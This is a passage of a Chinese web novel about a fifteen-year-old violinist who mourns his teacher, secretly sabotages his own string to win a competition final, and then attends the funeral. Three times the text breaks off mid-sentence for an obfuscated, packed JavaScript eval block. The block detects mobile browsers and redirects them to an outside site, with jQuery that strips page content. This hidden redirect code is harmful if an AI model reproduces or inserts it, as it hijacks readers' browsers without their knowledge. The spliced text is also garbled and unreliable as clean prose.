而他甚至还没能做些什么来回报这么多恩情! 流泪曾经让他觉得软弱而耻辱。但现在,只有无用的泪水才能够为他带走无尽的悲痛。 他曾经默默地许愿,将来要成为最出色的演奏家,站在世界级的舞台上,演奏出最迷人的旋律,然后在如潮水般汹涌的掌声中对全世界介绍那个坐在第一排观看他演出的老头子,让老头子为有他这样的学生而骄傲自豪,让老头子开心上三天三夜,还能对同行朋友夸耀。他原来以为这一切都来得及,老头子来得及等到他带领鹿城爱乐乐团来这里演出,能等到他和其他乐团合作,能等到他开听友会、联奏会、个人演奏会、世界巡回个人演奏会。 太晚了。 子欲养而亲不待。 老头子永远不能等到这一切了。 他死死地咬住自己的手。 不肯哭出声。 这真是一种刮骨剜心的痛。在顾梓聿年纪尚幼、尚且无力自保时,他被迫与父母生离死别。他不知道父母是否在最后一刻对他有什么期望有什么话想说,甚至没有机会见他们最后一面,对着他们的遗体缅怀。 但现在,当他认为自己已经长大了,在某种程度上已经有能力去掌控自己的人生时,命运残忍地给了他否定的答案。现在的他其实还是当年那个狼狈惊恐的小男孩,面对着吴老师的离去却无能为力,惊惶失措,只能躲在阴暗的角落里哭泣。 他恨这样软弱无能的自己。 事到如今,他只能做一件事。 他开了门。 他用冷水给自己洗了把脸。 他走出盥洗室。 他看到姜明珺就站在外面,站在他一出来就能看到的地方,背着他的琴,提着他的包,踩着有细长的跟的尖头高跟鞋,一直就那样站着,单薄地,瘦弱地。 他的泪水险些再次崩堤。 一瞬间,他觉得自己真的很自私、很懦弱、很没有担当。 姜明珺看到他,若无其事地弯弯眼:“首席,你饿吗?不如我们出去吃碗热汤面吧。” 他知道这时候明珺叫他“首席”意味着什么。 他点点头:“好。我们去吃面。” 不大的茶餐厅里,人来人往。汤面的热气熏得他眼泪又要下来,于是他连忙扬起脸,问道:“师...宋熙和人呢?” 姜明珺正把一个鱼蛋塞进已经鼓鼓的嘴里,咖喱汁顺着嘴角流下。她勉强咽下,说:“宋师兄说他先回去帮着师母和嘉佳操持后事。我们等比完赛明天搭早班机再回去。” 顾梓聿点点头,没有说话,埋头吃面。 吴老师的儿子和儿媳多年以前就因车祸而离世。尽管他故友遍地、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266199|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃李满天下,但身边的亲人就只剩下师母和嘉佳姐了。他现在能做的,就是把第一名的奖杯带回去,让他老人家在天上也能安心。 他去长安街上的服装店买了一套西服,剪裁很合身,只是稍微收了一下腰线和袖口。 只是老板有点疑惑,为什么这么热的天,而且穿一身这么厚的西装,钉袖扣的时候,这男孩的手还这么冰凉。 他们重新回到后台的休息室。顾梓聿拿出琴,开始一项项检查:音柱、琴马、调音、E弦的微调、上松香。 不对。 顾梓聿取出一套新弦。他拆开组合,把原来的 E 弦换成 Olive 的镀金钢弦,却把 A 弦换成一根用过的旧的绿美人。 姜明珺忍不住说:“首席,你以前这样组合过吗?万一新弦跑音怎么办?” “没有万一。”顾梓聿认真地调整着自己的琴,争取到最好的状态。 下午他以第四名的排位险之又险地进入到最后的决赛。他也大概知道自己的分数差在哪里:外国评委对华纳风格的一知半解使他的分数没有优势,加上相对于初赛他所展现出的水平,自选乐曲的难度偏低,导致评委对他的印象落差过大,所以这才会一下子掉到第四名。 现在,他最强劲的对手,依旧是以第一名的绝对优势闯进决赛的郭震。既然观众和评委都隐隐把她当成了第一名,那很简单,自己只要打败她就可以了。 既然他现在是下定决心要争第一了,那自然就应该以应试的心态来面对这场命题作文。顾梓聿其实也是一个应试高手,在他看来,其实这场比赛和平时的考试,是有着共通之处的,有应用技巧的余地的。 最后的决赛是四位参赛选手在没有指挥的情况下,个人领奏乐团,表演维瓦尔第《四季》中的一个乐章。 小提琴协奏曲《四季》大约创作于1725年。作曲家维瓦尔第在五十岁时,发表了献给波希米亚伯爵 W·冯·莫尔津的一套大型作品《和声与创意的尝试》,一共有十二部协奏曲。而其中的第一部到第四部,则合称《四季》。 实际上《四季》能够吸引广大听众,几个世纪以来长盛不衰,当然是由于它旋律的优美,再加上其他一些因素,例如维瓦尔第所特有的意想不到的重音、直率而热烈的风格、以及突如其来的主题与动机所带来的强烈的戏剧性。 另外,维瓦尔第唯恐别人无法理解音乐的内容,于是在总奏与主奏交替形成的复奏形式上,巧妙地配以标题,还为每首协奏曲配了一段十四行诗。在维瓦尔第之前,还没有人以标题音乐的方式谱写过协奏曲。 七点的钟声敲响,决赛准时开始。坐在休息室里,顾梓聿的对手们一个个走上前台。顾梓聿听着前台隐约传来的乐声和观众的掌声,在心里反复揣摩排练着,比较着。 轮到郭震上场。她走过顾梓聿身边,用挑衅的语气说道:“我会是第一名。” 顾梓聿这次不再宽容着微笑避开,他直直对上她的双眼:“而我会打败你。” 他在后台仔细地品析郭震的表现,郭震以《秋》开场,将主题赋予了华丽而绚烂的质感,描绘出了一片田园的秋之美景。农民们在丰收祭典上满饮黑麦酿成的金黄色啤酒,挤奶女工们绕着篝火一边起舞一边纵情歌唱。醉汉在高高的谷堆旁沉睡,秋风带来麦穗的芬芳。晨曦初露,猎人们披挂号角与猎枪,猎狗们兴奋地追踪猎物的踪迹,清脆的枪声此起彼伏。 坦白来说,郭震的《秋》演绎地还是很不错的。郭震快速敏捷的运弓带着她一向的风格,明亮立体,其中,对第三乐章的快板诠释地尤为精彩,显示了她对复杂节奏的牢牢把握、并自如地将力量在每个乐句之间持续地传递。 然而,越出色的演奏,缺陷也会越明显,可能是由于郭震一直以来的个人风格太过强烈,再加上这些年来她都是作为独奏者表演的,尽管她的搭档乐团就是中央音乐学院的室内乐团,作为央音的学生,她应该说是占尽了天时地利人和,但她的琴声太独了,不能和乐队平等地交融在一起。 协奏曲就是有这样的问题,主要还是两者“势”的平衡,乐队并不是演奏者的附庸。当然,大部分问题在独奏者身上。独奏者太强势,就易显得独,格格不入,令听众无所适从。而独奏者太弱势,就会泯然众人,不能突出主题,这首曲子也立不起来。 顾梓聿稍稍放下心来,这就是他的优势所在了:他绝对是这届比赛和乐队合作经验最丰富的选手了。多年来的经验让他对于每一个气息的把控都胸有成竹。 当主持人报出他的名字时,顾梓聿感到一阵久违的战栗。此刻,他不再像初登上这个舞台时无所畏惧、自然潇洒,而是多了几分小心慎重。因为,从此刻起,他不是为了他自己,不是为了单纯地享受音乐、享受舞台,玩得开心,他只有一个目标,夺得第一,以慰恩师在天之灵。 19. 且听风吟 随着最后一个、也可以说是本场比赛最具人气的选手登场,现场出现了一些小小地、压抑着的喧闹。 林耀基不由自主地坐直了点,期待地看向舞台。在他看来,半决赛时顾梓聿的名次着实有些低了,偏偏他两次评分都是最高分,被去掉以后对顾梓聿的最后分数不能造成任何影响,幸好顾梓聿最后能够以第四名的排位进入到最后的决赛。 本着惜才的心理,在决赛开始前,林耀基还对其他评委进行了游说,在他看来,只要是演奏大赛官方指定的曲目,在四人当中,顾梓聿一定能有上佳的表现。 心中各有盘算的评委们估计着各自的评分,昏暗的灯光随着选手就位而渐渐明亮。舞台三分之一处,十五岁的少年身姿挺拔,刘海被造型师撩了上去,露出了额头,五官俊朗英挺,凤眼清亮。他一改前两次比赛时的随意休闲的穿衣风格,身着黑色西服内搭黑色衬衫,黑西裤黑皮鞋黑色窄领带,干净利落。 在正式开始前,顾梓聿先鞠了个躬,这也是从来没有过的。 身为女性的大冢美佳子立刻注意到了这两个细节,她想,这样说来,顾梓聿确实很重视这一场决赛吧。 但只有台下的姜明珺知道,他这一身黑色为谁而穿,这一个深躬为谁而鞠。 顾梓聿面向乐队,点头致意。这场和他合作的是梅纽因室内乐团,管风琴和羽管键琴的演奏家都是他所熟悉的,他了解他们的风格,因此才选定了《春》。时光仿佛瞬间倒流回他熟悉的场景:他举起长弓,乐团成员们也跟随他一起举起弓,他深吸一口气,做了一个起势,接着,旋律就从他弓子下流淌开来。 《春》作为一首 E 大调小提琴协奏曲,它的开场是令人愉悦的,第一乐章是一首活泼的快板回旋曲,华丽而洒脱。顾梓聿的小提琴和整个小提琴声部奏出的连续不断的十六分音符表现出微风习习,泉水淙淙,好似喃喃细语。 这时,顾梓聿作为独奏小提琴以一连串尖锐的颤音生动地模仿出鸟儿的欢啼。 他之前特意换上的oliv 镀金 E 弦有着异乎寻常纯粹明亮、清楚辉煌的声音,此时只见得修长的手指在指板上那根和 A 弦差不多粗细的金色的琴弦上跳跃按揉,独奏小提琴的声音如大海上的那一片舟,在汹涌如波涛般的乐声间时隐时现。 海浪一波又一波地打来,但小舟仍然顽强地航行在众人的眼帘之间,独奏小提琴的声音和乐队的声音交相辉映,水乳交融,难舍难分,但又始终保持独立的地位,能够被清晰地辨别出来。 “很出色,真的很出色。他是有天赋的那种人,连弦选的也对。” 说话的是评委之一,英格兰的梅林·李斯特,曾是梅纽因大赛连续两届的少年组别第一名和青年组别第一名,现任维也纳爱乐乐团的小提琴首席。维也纳爱乐乐团堪称是世界上最著名的乐团之一,它能力卓越、风格多变。白天能在最严谨的指挥棒下演奏德奥系作品,夜晚则能在生性不羁的意大利人手下演奏歌剧《唐璜》。 “他是这四个选手中与乐队配合的最融洽的,他的水平远超过同龄人。” 且不说这头评委们的点评,顾梓聿的独奏正达到高.潮。琴声描绘出的天空乌云笼罩,电光闪闪,雷声怒号。 由于乐队没有任何管乐器或打击乐器,暴风雨的场面是以乐队低沉的三十二分音符同音反复,和独奏小提琴的一连串三连音所形成的对比构筑起来的。此时,顾梓聿身上那种彬彬有礼的气质已经消失,取而代之的是那种舞台中心所独有的灼热的癫狂。所有人的注意力不剩一丝一毫全被他攫取,他就像一个负高压中心,连空气都只往他那里流动。 在评委和观众看来,顾梓聿已经完完全全地沉醉于自己的演奏中,但其实此刻,他前所未有地冷静。当他听到 A 弦传来一丝细微的喑哑时,他就知道:时候到了。 此时,雷鸣电闪转瞬即逝,鸟儿重又宛转歌唱。他的弓子虽然在 E 弦上跳动,但心思全放在了 A 弦上。第二乐章,小提琴以轻柔的广板描写出静谧而悠闲的田园风光。开始时,小提琴声部会以pp的音量奏出附点音,顾梓聿貌似不经意地走到羽管键琴的身边,一边投入地应和着、调动着现场的气氛,一边隐秘地把琴头转到羽管键琴后面评委们看不见的死角。 他的手指摸到了琴枕上 A 弦那个脱丝的地方,他不动声色地一划一撩,接着,琴弦崩断的不祥声音正好就被淹没在中提琴那有点唐突的、仿佛是牧羊狗的吠叫声的切分音中。 春天,在鲜花盛开的草地上,牧羊人在歇息,忠实的牧羊狗躺在一旁。此时,乐队的声音逐渐减弱,这接下来就将是顾梓聿的独奏了。然而,羽管键琴的演奏家和周围几个比较靠近的小提琴手却惊慌地注意到,本应该作为绝对主力的 A 弦却崩断了! 就算这时候顾梓聿跟乐队的小提琴首席换琴也来不及了!这里小提琴独奏的旋律没有空隙,一旦停下,就是明显的失误! 梅林·李斯特也发现了,可就在他逢此意外大脑一下子停顿的时候,顾梓聿却若无其事左手反手抽出 A 弦,随手丢在地上,而右手毫无凝滞地拉出牧歌般优美而恬静的旋律。 他的侧脸安宁而淡定,见不到一丝惊慌。A 弦是断了,没有错,而所有本应该在 A 上奏出的旋律,全都被顾梓聿在 D 弦上以高四度完美奏出。 “太有大将风度了。”这时,大冢美佳子也意识到了刚才千钧一发之际究竟发生了什么。对于一个成熟的演奏家来说,舞台事故能够这样处理已经是业界的绝佳应对案例了。 甚至可能在场的观众们都没有发现有什么不妥,在他们听来,可能就是琴声醇厚了些,但从 A 弦到 D 弦的瞬间高四度的完美转换,加上两根弦不同把位的转换——能够只凭着对旋律的把控,在比赛现场瞬间在不同把位上用迥然不同的弓指法,顾梓聿都没有一丝凝滞,这说明他的基本功已经扎实到一定境界。 重点是,对于一个十五岁的少年,他能够在意外发生的一瞬间不慌乱、不迷茫,而是处理得不露一丝痕迹。这种气场,她至今没有见过。 当然不会慌乱啦。顾梓聿在心底暗暗嘲笑着自己的虚伪和功利——虽然换把、弓指都是他当场第一次变换的,但是琴弦崩断是他早有准备的。不过,他似乎演的不错?至少现在,他看到了乐手们和评委们都相当赞赏的目光。 第三乐章的主题是一支当时颇为流行的西西里舞曲,它一开始就出现在独奏小提琴及小提琴声部,低音弦乐器奏出的和弦节奏和管风琴浑厚的音响则着意渲染了舞曲的欢快情绪。顾梓聿此时已经完全放松,他面向乐队,不时地走向各种不同的乐器方阵,在某种程度上甚至是作为指挥,领奏并且协调着各声部的演奏。 在春天明媚的阳光下,伴随着乡间风笛欢快的音响,仙女们与牧羊人翩翩起舞。乐章中还加入了另一些同样具有欢快情绪的舞曲片段,这些欢快的乐句由独奏小提琴带领风笛欢快地加以穿插,如同一波未平一波又起的层峦叠嶂。 最后,全曲以主题旋律的重复作为结束。顾梓聿帅气地一扬弓子,乐手们情绪高昂地跟他一同起立向全场致敬,欢呼声,口哨声,拍打琴板的声音同时响起。 之所以他们如此兴奋,是因为他们知道自己不仅目睹、甚至参与了这一场演出!这是一个可以为之津津乐道多年的精彩舞台! 顾梓聿意气风发地跳下舞台,向在场观众展示他手中的琴。这时候观众才发现他手里的琴竟只有三根弦!他们现在回想,居然找不出破绽,更不用说其他选手出现的错音、音准、抢拍等等问题了。对此,他们也只能报以热烈的掌声和由衷的赞叹了。 但是姜明珺知道,顾梓聿不是这样的人。如果他真的发生了断弦这样的意外,以他的性格只会检讨自己在赛前准备时不够细心,根本不会像孔雀开屏一样到处炫耀.... 她想起之前在休息室顾梓聿换琴弦的事了。那时她就觉得有点不对劲,如果他早就有所筹谋,这就能解释为什么顾梓聿现在要把琴展示给大家看。他是要以此征服门外汉的观众们,占据舆论制高点,倒逼评委的评分,以确保拿到第一。 可是,这一切真的有意义吗?费尽心思去表演这样一场滑稽戏,就为了争个第一,顾梓聿现在是有些魔怔了! 姜明珺觉得很难过。这样一场意外,改变了太多人。梓聿、师兄、嘉佳姐... 宋熙和降落在鹿城的时候,比赛已经结束。他看到了新闻的转播,停下了脚步。 新闻女主播用一贯冷静专业的主播腔,播报着这则与她无关的新闻: “…那么在选手演奏完毕之后评委会进行了短暂的商议,之后评委会主席帕梅拉·弗兰克女士代表评委会公布了结果。” “在宣布比赛结果之前,帕梅拉女士首先简短总结了本届比赛的情况,对主办方帝国中央音乐学院全面而高效的组织工作给予了充分的肯定和感激,同时也对赞助商对艺术和音乐教育的慷慨支持表示赞扬。她表示,今年的入围选手在技巧性和音乐性上都表现出了有史以来最高的水准。” “在这一天的比赛中,八位选手的演奏之精彩完全如同音乐会一般,每位选手都展现了扎实的演奏技巧和鲜明的个人音乐风格,而对于评委们而言,决赛中选手的发挥更是好得让人惊讶,选手们的演奏水平让她和其他评委们难分伯仲,他们每做出一个决定都很艰难。帕梅拉女士本人在比赛期间也多次表示, ‘在这十天的赛程里,我们无时无刻不被美妙的音乐包围着。’” “...值得一提的是,除了独奏,比赛也重视选手的合奏意识和创造能力。比如,在往届的比赛中,曾设置有四重奏的曲目,即由选手演奏一提,与评委会指定的二提、中提和大提琴合奏。这对我国选手来讲是一件很难的事情。从本届比赛开始,少年组增加了即兴演奏的环节,并由选手指挥室内乐队演奏维瓦尔第《四季》。对此,获得少年组第三名的索伦选手瑞恩·肖在接受中央电视台采访时表示,指挥乐队对他是一种新的尝试。看得出,梅纽因比赛旨在挑选素质全面的小提琴天才音乐家。” 宋熙和不耐烦听这些场面话,他只想直接知道结果如何。 大剧院音乐厅内,所有人都正襟危坐,翘首以盼最终的结果: “艺术家最重要的素质是想象力和创造力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266200|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”帕梅拉站起身,面向观众席说道,“我在教学当中会鼓励学生尝试用不同的理解和奏法来创造性地演绎同一个乐句,以追求出乎意料的效果和更佳的音乐表现力。在演奏古典音乐时,这种自由的即兴发挥更加会展现出演奏者本人所独有的灵性之光。” “我们的观众们都非常积极地融入到比赛当中。他们用慷慨热情的掌声来表达他们对选手们的评判,同时也表现出非常高的艺术素养和公平公正。” “而少年组的选手们在技术、能力、身体条件等方面,相差并不是很大。关键是在对音乐的理解和表现上,有些选手在概念上不是很清楚,而优胜者将会是在音乐表达方面的逻辑很清晰、完整的选手。” “在比赛中,有这样一位选手给我们留下了深刻的印象。初赛时,他在巴赫无伴奏奏鸣曲中表现了无与伦比的技巧,自由主题的即兴演奏向我们展示了他技巧之外的浪漫才华,半决赛时,风格作品《山中醉》体现了他非凡的音乐素养和独立的思考,自选乐曲《诙谐曲》则展现了他扎实的基本功和对主题的把握。就在今晚,他为大家带来了一场十三分钟的试听盛宴,他以高超的琴技,与乐队配合默契。当我们赞叹于他的技巧,他带来了恰当的情感,当情感表达充分时,他又用他随机应变的能力和充满魅力的台风将我们征服!” 此刻,观众席上已经是一片欢呼、掌声雷动,顾梓聿迎着灯光,再次走上舞台。追光照在黑色的西服上,热得头疼。他觉得有点恍惚,有点晕。看着台下一张张模糊的脸孔,他一点都感觉不到胜利的喜悦。 舞台上的灯光照在他身上,却照不亮他心里那片沉寂的黑暗。 他终于赢了,终于站上了那个他曾经想都不敢想的顶点,可是那个最应该见证这一幕的人,却永远地离开了。 帕梅拉走向顾梓聿,带着赞赏的微笑:“能够在演奏中确立自己的个人风格,这是每一位高水平演奏家都毕生追求的目标。你现在已经做到了很多成人演奏家都没有做到的事。顾,我认为你的水平确实超越了你的同龄人。” 所有的评委都站立起来为他鼓掌,帕梅拉女士亲手把奖杯和证书递给他。这一切都发生得很不真实。带着一种即将破碎的危梦的幻影。奖杯在手,沉甸甸的金属光泽在他眼中变得模糊,在其他选手的羡慕眼光中,顾梓聿成为了梅纽因史上首个可能也将是唯一一个同时包揽全奖的特例,他同时拿到了少年组的第一名,原作者授予的原创作品最佳演奏奖,最佳巴赫演奏奖和最受观众喜爱奖。 当司仪将话筒凑到他嘴边时,他才一下子反应过来,机械地接过话筒,想说的话一下子就不受控制地从嘴里蹦出来:“能够取得这样的好成绩,我要感谢我的老师,吴宏礼。是他教导我,要想拉好小提琴,很多功夫是在小提琴、甚至是音乐之外。” 一句话没说完,他就忍不住要流泪。他不愿意让旁人看到泪水,就笑着,睁大眼,泪光闪烁的模样落在别人眼里,只被当做是欣喜激动。 啊,他是吴宏礼的学生!林耀基这才豁然顿悟:老朋友的学生,他无论如何都得帮衬带挈一把。 在顾梓聿下台后,一众记者扛着长枪短炮争先恐后地向着顾梓聿伸出话筒,一个个犀利的问题接踵而来: “顾梓聿,包揽了所有的奖项,创造了梅纽因的历史,你是否为自己感到自豪?” “你作为非专业科班出身的学生,能够在比赛中打败各个音乐学校的种子选手,平常一定付出了比他们更多的努力吧?” “对,这些细节能不能和在座的琴童分享一下?” 镜头前的功夫,谁不会做?顾梓聿礼貌地假笑,接过话筒:“对于我来说,梅纽因青少年小提琴比赛,得到第一名是其次,带给我的更多是文化上的感受和未来发展的机会。” 说到这里,顾梓聿在镜头面前微笑着对一旁的郭震示意,“除了专业水平的提升,我感受最深的就是友好和睦的比赛气氛。这次非常开心能结识这些有专业背景的朋友,我将把这次比赛看作是一次值得珍藏一生的人生体验。谢谢。” 在一旁被摆了一道的郭震气得简直要吐血!这话说的,好像音专生就占了便宜似的。她容易吗?拿央音小提琴专业的课程来举例说明——主课:小提琴,副课:钢琴,专业基础课:视唱练耳、乐理、和声学、曲式与作品分析、华纳民间音乐、外国音乐史等,一周两次的主课和室内乐以及乐队训练,再加上正常的文化课:语文、外语、历史、地理、政治等。这还没算上自己私下的练习时间和学校正常的演出活动呢! 她只得了个第二名,觉得分外耻辱,直接黑脸拒绝采访,跟家人先行离开了。 原先,因为吴老师的原因,顾梓聿是不愿意参加之后的闭幕式和庆祝音乐会的。至于什么大师班、交换机会,他都不在乎,他只想尽快回去,没了吴老师,谁也管不了他。 不过,这次组委会对他太过偏爱,竟然一次性把所有的奖都颁给他。他这样不给组委会面子,实在是太过桀骜了。在林耀基和他谈过十几分钟之后,他就默默地答应了先回去参加追悼会,三天后的闭幕庆典音乐会他会回来,作为少年组的代表上台表演。 20. 无肠可断 因为是临时又改签的航班,值机得太晚了,所以姜明珺没能选到和顾梓聿坐一起的座位。 尽管她此时还是挺担心顾梓聿的精神状态的,恨不得寸步不离,可是顾梓聿也不会愿意她大动干戈地去调换座位,因此她只能悬着一颗心,却又忍不住相劝道:“梓聿哥哥,吴老师那个人最见不得人哀哀戚戚,你纵使难过,也要爱惜自己,否则他老人家怎么放心的下呢?” 顾梓聿轻轻点点头却不说话,姜明珺哪里看不出这是他哀毁过度,连话都已经没力气说了? 这次他选的座位是52C。因为曾经刻在骨子里的恐惧,他每次选座都必定要靠近紧急出口。眼看着顾梓聿走到自己的座位旁,行尸走肉般地放下琴,竟一点儿也不担心他一向最珍爱的琴摔着碰着,姜明珺纵是百般担忧也无可奈何。她只好帮他把琴放好,又向空乘人员要了薄毛毯,把他紧紧裹着。看到一天前还意气风发的少年现在却一副失魂落魄的模样,心不由得疼起来。 她又何其不难过?吴老师虽说是严格了点,可他的良苦用心每个人都是心知肚明、铭记于心的。 姜明珺回到自己座位上,一边不时地注意一下顾梓聿的状态,一边抓紧起飞前的时间和妈妈打电话——这次到帝都,她本来想比赛完后去和爸妈一聚的。没想到却发生了这样的事,她只能请求他们双方沟通好时间,一起休个长假回鹿城,来看看他们兄妹。 顾梓聿仍沉浸在失去恩师的悲痛中不能自拔。比赛时的亢奋状态已经过去,现在只要他想到平时和吴老师的相处,他就会觉得头、胃一齐痛得要晕过去。止疼药已经吃了,但还没起作用,他试图转移自己的注意力,身旁的一对母子不自觉地吸引了他的目光: 儿子看起来大约十一、二岁,已经是一副看起来可以让人依靠的小男人模样了。此时,他正坐在52A的座位上,拿着照相机,兴致勃勃地对着窗外的机坪拍摄着。 “不好意思啊,小孩子第一次坐飞机,”小孩的母亲似乎觉得儿子这样太过幼稚,歉意地对身边的少年解释了一下,“他呀,新奇着呢。” 母亲嘴边带着宠溺的微笑,看着孩子展示着新拍的照片,不时的点评一两句,儿子开心地眯眼,而较真地反驳。两颗脑袋挤在一起,伴着低低的笑声和说话声,从顾梓聿的角度看,是一副很和谐的画面。 他觉得头好痛,胃好痛,眼睛也好痛。他不由自主地双手紧紧抱住自己,闭上眼,像一只困倦的在冷雨夜中伶仃徘徊了整夜的流浪猫一样,把自己窝在座椅里,长长的睫毛微微地颤抖着。 这个型号的飞机是今年鹿航刚开始加入航线的新成员——波音787,因此座椅上新增了目前国内航线还比较少见的影音游乐多媒体设施。 整个飞行中顾梓聿因为头疼一直处于一种似醒非醒的状态。 模糊中,他隐约听到什么声响。他勉力睁开蒙眬的双眼一看:那孩子正聚精会神地看着一部最近超火的漫改超级英雄电影,而他的小身板挺的直直的,腰根本没挨着座椅靠背,那高度正好够让孩子的母亲把头枕在他肩窝上,她的脸上还有着淡淡的笑纹。 直到凌晨下机时,姜明珺才发现顾梓聿脸色惨白唇色嫣红,下机梯时好像脚下踩的是棉花,摇摇摆摆地。她伸手去扶,触手处一片滚烫。显然,顾梓聿发起了高烧。 吴老师生前就不是一个太爱热闹的人,因此,追悼会被布置的简朴而不失庄重。吴老师信教,平日里也志愿指导教会会友组成的唱诗班,仪式就在鹿城海心岛上的三一堂举行。 顾梓聿没有去医院,时间太赶,他只是又吃了一颗机场药店买的退烧药,头还晕着就深一脚浅一脚地赶去坐最早一班的渡轮。他手里捏着份今晨的早报,讣告上白底黑色的铅字刺的他双目生疼。 清晨的海心岛,早霞映灿了半边天空,教堂门口已经人来人往。顾梓聿努力屏气,一脚踩进那个往日庄严而今却阴气森森的前厅。它现在被布置成了灵堂,整洁肃穆。教堂里回荡着低沉的哀乐,屏帐和挽联蓝白相间,门口对联用白纸书写着:“谢绝尘世苦,得享天上荣”、“生前尊荣虚浮无谓,主里有福永世长存”。 若不是还保留着一点理智,顾梓聿恨不能冲上去撕碎了这些假惺惺的字句:凭什么说尘世一定苦、天家永为乐?!他的脑子里仿佛有电钻在肆无忌惮地打洞,背上针刺一般疼。 他劝服着自己,轻轻走近一步,理智接受了事实,而情感却在叫嚣。莫扎特的《安魂曲》在空中游荡盘旋,顾梓聿看到老头子的遗相端端正正地放在灵柩前方,四周簇拥着洁白的百合花,故交、学生送来的花圈挤挤攘攘地堆满着,人很多,但格外的有秩序——大家都不想惊扰了吴老师吧。 姜明珺料理好自己,便走过来替顾梓聿别上黑纱。五月份的鹿城已是可以穿夏装的季节了,这里的气候远比帝都湿热,而他自从昨日比赛结束后,那身黑色西装就没有换过,西服外套也隐隐洇出水渍,他却无所知觉。他不敢走上前去瞻仰仪容,不敢看那张熟悉的面孔,不敢看那双睿智但此时已经永久闭上的双眸,只是无言低头,以默祷追思恩师。 很快,很多人就注意到了这个昨日刚斩获四奖一夜成名的男孩子。 昨日夜里才颁的奖,今日清晨就风尘仆仆出现在这里,可见是有情有义。 一些乐坛耆宿交头接耳地悄声交流点评,时而赞赏地点头,而乐团的伙伴则会特意经过他身边,碍于场合,仅仅示以庆祝的微笑。顾梓聿只是胡乱点头,心思却始终没有平定。 他看见宋熙和身着生麻布缝制的不缉边的丧服,执子礼,主持悼礼,而他却只能以弟子的身份,在这里对着冰冷的遗像哀哀致意。 吴嘉佳招呼完一拨宾客,连忙过来看顾梓聿。她已经是双目红肿,憔悴不堪,但顾梓聿看起来竟还比她更哀三分。她只能半扶着他,坐到前排右边亲友们的坐席上,细细看去,顾梓聿额前起了一片细细密密的汗珠,后心一摸也全是湿的。她看着这个往日视之为亲弟的孩子,实在大感心痛,忙伸手替他擦汗不迭。 “嘉佳姐,你告诉我,这究竟是怎么一回事?”顾梓聿无暇多想,拽住吴嘉佳,眼里全然是一片茫然无措。 吴嘉佳低声到:“去年9月,爷爷腹胀了一段时间。奶奶一直叫他去到医院检查。但你是知道爷爷性格的,那时候他在录圣诗500首,每个周末晚上,他都风雨无阻地赶到三一堂编排、指挥合唱,还有录音。直到有一天,他胃疼得实在厉害,我叫了119急救送医院。” “那…是什么?” “那时候,已经是胃癌晚期了。奶奶要求爷爷立即动手术,但他当时正在带你们排练,而且每周末还去录圣诗,治疗的最佳时机就被耽误了。” 正是一阵晴天霹雳!顾梓聿不敢想象,那时自己不懂事,就为一首炫技曲还气过吴老师。现在算算,不正是老师确诊那段日子的事吗?他此刻简直羞愧到无地自容,似乎浑身上下毛孔都竖起,又似一盆冰水从头浇到脚,他狠狠扯开领带,因为自己已经喘不上气来了。 “爷爷这一辈子都倔强得很,从来不爱麻烦别人。怕朋友知道他得的是胃癌,要费心费时来医院探病,因此就算痛苦地躺在病榻上,他也装着完全不以为意的样子,告诉前来探望他的亲戚和朋友 ‘没什么大事啦,就是胃溃疡’。他不但自己把病情瞒得紧紧的,他还严令我们封口。所以除了奶奶、我和师兄知情,连他的朋友们都是直到…” 吴嘉佳已经说不下去了。她哽咽着,努力想要在顾梓聿面前做一个可供依靠的姐姐,用力掩藏自己的悲痛:“小聿,爷爷他最遗憾的就是没能亲眼看到你的决赛。” 众人低声唱起了赞美诗《仰望天家》。 顾梓聿强撑着,用尽力气挺直了脊背,但眼前已经是一片黑了。 牧师慈祥平和的声音忽远忽近:“各位亲朋好友,弟兄姐妹:今天,我们怀着悲痛而又盼望的复杂心情,在这里为我们的教友吴宏礼作安息礼拜,愿主祝福他。照主的话说:他藉着死,息了地上劳苦,已经进入永生的门户,在天家乐园里享福,永远与神同在,好得无比…人死的日子,胜过人生的日子。往遭丧的家去,强如往宴乐的家去,因为死是众人的结局,活人也必将这事放在心上。” 三一堂唱诗班的领唱声音也颤抖着:“无情的死亡不是生命的结束;冰冷的坟墓也不是信徒的归宿;火热的火葬场也不是信徒人生的终局。当我主再来时,所有信徒,无论是活着的或是已经睡了的,都会再度联合,与我主同住在新天新地里,那时再没有痛苦与竞争、看不见眼泪和死亡…” 庄严的颂歌和仪式化的祷辞在小礼堂内回响着,空气中弥漫着火和硫磺的味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266201|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 